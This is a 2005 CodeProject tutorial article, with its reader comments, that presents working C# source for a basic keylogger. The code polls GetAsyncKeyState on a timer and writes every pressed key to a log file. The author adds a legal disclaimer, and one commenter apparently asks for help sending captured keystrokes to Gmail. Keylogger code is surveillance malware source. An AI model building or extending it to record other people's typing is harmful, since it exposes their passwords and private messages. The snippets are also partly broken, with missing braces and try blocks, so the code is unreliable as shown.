Click here to Skip to main content
Click here to Skip to main content

Basic Keystroke Mining

, 12 May 2005 CPOL
Rate this:
Please Sign up or sign in to vote.
A simple key logging implementation using Visual C# .NET.


A key logger, or keystroke logger, is a piece of hardware or software which records user keystrokes such as instant messages, e-mail, and any information you type at any time using your keyboard. Many key log solutions are very careful to be invisible to computer users and are often used by employers to ensure employees use work computers for business purposes only.

This article illustrates a simple key logging scheme built around GetAsyncKeyState as the key logging core.

Simple Keystroke Mining Life Cycle

Sample image

  1. A key logger typically records actions and events on a computer to a volatile buffer.
  2. Once the buffer is full, or on set intervals, the buffer is flushed to a non-volatile “log file”.
  3. A common practice among key log solutions is to encrypt the “log file”.

Code Snippets

The KeyLogger class:

public class Keylogger
    // The GetAsyncKeyState function determines
    // whether a key is up or down at the time 
    // the function is called, and whether
    // the key was pressed after a previous call 
    // to GetAsyncKeyState.
    // "vKey" Specifies one of 256 possible virtual-key codes. 
    // If the function succeeds, the return value specifies whether the key 
    // was pressed since the last call
    // to GetAsyncKeyState, and whether the key is 
    // currently up or down.
    // If the most significant bit is set, the key is down, 
    // and if the least significant bit is set, the key was pressed after 
    // the previous call to GetAsyncKeyState. 

    private static extern short GetAsyncKeyState(
        System.Windows.Forms.Keys vKey); // Keys enumeration

    private static extern short GetAsyncKeyState(
        System.Int32 vKey);

    private System.String keyBuffer;
    private System.Timers.Timer timerKeyMine;
    private System.Timers.Timer timerBufferFlush;

    // Events & Methods (see excerpts below)
    // Properties (see source code)

At the heart of the KeyLogger class is the timerKeyMine_Elapsed event which iterates through the entire System.Windows.Forms.Keys enumeration for pressed keys. Downed keys are then stored in the keyBuffer (space delimited).

private void timerKeyMine_Elapsed(object sender, 
                        System.Timers.ElapsedEventArgs e)
    foreach(System.Int32 i in Enum.GetValues(typeof(Keys)))
        if(GetAsyncKeyState(i) == -32767)
            keyBuffer += Enum.GetName(typeof(Keys), i) + " ";

The timerBufferFlush_Elapsed event transfers key stroke data from the temporary buffer storage to permanent memory.

private void timerBufferFlush_Elapsed(object sender, 
                             System.Timers.ElapsedEventArgs e)
    // Preprocessor Directives
    #if (DEBUG)
        MessageBox.Show(keyBuffer); // debugging help
        Flush2File(@"c:\keydump.txt", true);
public void Flush2File(string file, bool append)
        StreamWriter sw = new StreamWriter(file, append);



        keyBuffer = ""; // reset
    {    // rethrow the exception currently handled by 
        // a parameterless catch clause

KeyLogger usage examples:

static void Main(string[] args)
    Keylogger kl = new Keylogger();

    kl.Enabled = true; // enable key logging

    kl.FlushInterval = 60000; // set buffer flush interval

    kl.Flush2File(@"a:\logfile.txt", true); // force buffer flush

Log File sample output:

LButton H E L L O Space W O R L D Space OemMinus Space R E L E A S E Space B U I L D


I strongly discourage anyone from monitoring any computer that you do not own or do not have intellectual property rights over. It is illegal and punishable as a crime under (state law) to intercept electronic communications.


This article is intended to be used in good faith. The key logging mechanics illustrated are not stealth, and vastly inefficient. There are better, commercially available keyboard hooks and stealthy key loggers available. For the purpose of simplicity, I omitted the encryption of the log file. Nevertheless, in the days of adware, spyware, and growing privacy concerns, I find this to be an interesting venture. Any bugs or suggestions can be tracked below in the message board section. Thanks!


  • 05/12/05: Original submission.


This article, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)


About the Author

Alexander Kent
Kentdome LLC
United States United States
Biography in progress Wink | ;-)

Comments and Discussions

Generalapp to record mouse movement and keyboard PinmemberMember 1096506122-Jul-14 22:01 
Suggestion PinmemberMember 1093440018-Jul-14 3:53 
QuestionExecution process PinmemberCRACKER_HACKER1-Jul-13 1:22 
AnswerRe: Execution process Pinmemberusman aa16-Dec-13 6:44 
QuestionCan't get the key value when put on the excel PinmemberHaiBo Wang17206-Jan-13 19:38 
Questionabsy Pinmemberbmw20122-Jan-13 2:35 
Can you help me Manasahab experience and he has learned to complete my project at work keylogger in
The Gmail sends me Shaker Tonkm me.
Questionworking only in "step over" Debugging mode Pinmemberm.khateeb1512-Nov-12 14:12 
QuestionCan't get this to work PinmemberMr.Gilroy23-Nov-11 1:48 
AnswerRe: Can't get this to work Pinmemberjeeva2008200915-Oct-12 20:31 
GeneralRe: Can't get this to work Pinmemberm.khateeb155-Feb-13 8:05 
AnswerRe: Can't get this to work Pinmemberusman aa16-Dec-13 6:50 
GeneralMy vote of 5 PinmemberMert Farsakoğlu23-Oct-11 8:35 
Generalthanks Pinmemberwas83099-Jun-10 13:30 
GeneralGet key according to current Keyboard Layout PinmemberKoNyan22-Feb-10 23:29 
GeneralKey Stroke PinmemberMember 135765719-Feb-08 1:50 
GeneralThanks for the code PinmemberMember 439018614-Jan-08 11:10 
QuestionHow can we just log "textboxes" Pinmemberm08-Jan-08 18:55 
QuestionHow to log just the somes characters? Pinmemberoalexandrino118-Oct-07 18:44 
AnswerRe: How to log just the somes characters? PinmemberAlexander Kent18-Oct-07 20:19 
GeneralRe: How to log just the somes characters? Pinmemberoalexandrino119-Oct-07 5:11 
GeneralDOS box remains open Pinmembergioyen11914-Sep-07 22:26 
GeneralRe: DOS box remains open Pinmembernzakir17-Sep-07 21:23 
GeneralExcluding mouse pressing PinmemberI.Am.Me16-Jun-07 9:16 
GeneralRe: Excluding mouse pressing PinmemberAlaric_26-Jun-07 8:09 
AnswerRe: Excluding mouse pressing PinmemberTzai8-Dec-07 10:09 
QuestionMagic Number PinmemberDavidSaylor6-Jun-07 11:34 
QuestionWindows Service not working PinmemberSeishinLovesC#18-Jan-07 3:28 
AnswerRe: Windows Service not working PinmemberAlexander Kent18-Jan-07 7:14 
Generalusing shift key Pinmembertschry5-Mar-06 23:56 
Generalnewbie question Pinmembergeppie5-Mar-06 7:48 
GeneralAlt/Ctrl Pinmemberehh16-Jun-05 11:20 
GeneralLog file remains empty PinmemberCodeBuddy2623-May-05 12:19 
GeneralRe: Log file remains empty PinmemberAlexander Kent23-May-05 12:48 
GeneralQuestion PinmemberKamran Wali jan20-May-05 20:46 
GeneralRe: Question Pinmemberbrandon@larbar.net28-May-05 21:29 
GeneralAOL/MSN Messenger PinsussPaul Grant12-May-05 9:35 
GeneralRe: AOL/MSN Messenger PinmemberAlexander Kent12-May-05 11:04 
GeneralRe: AOL/MSN Messenger PinsussPaul Grant12-May-05 13:39 

General General    News News    Suggestion Suggestion    Question Question    Bug Bug    Answer Answer    Joke Joke    Rant Rant    Admin Admin   

Use Ctrl+Left/Right to switch messages, Ctrl+Up/Down to switch threads, Ctrl+Shift+Left/Right to switch pages.

| Advertise | Privacy | Terms of Use | Mobile
Web03 | 2.8.150327.1 | Last Updated 12 May 2005
Article Copyright 2005 by Alexander Kent
Everything else Copyright © CodeProject, 1999-2015
Layout: fixed | fluid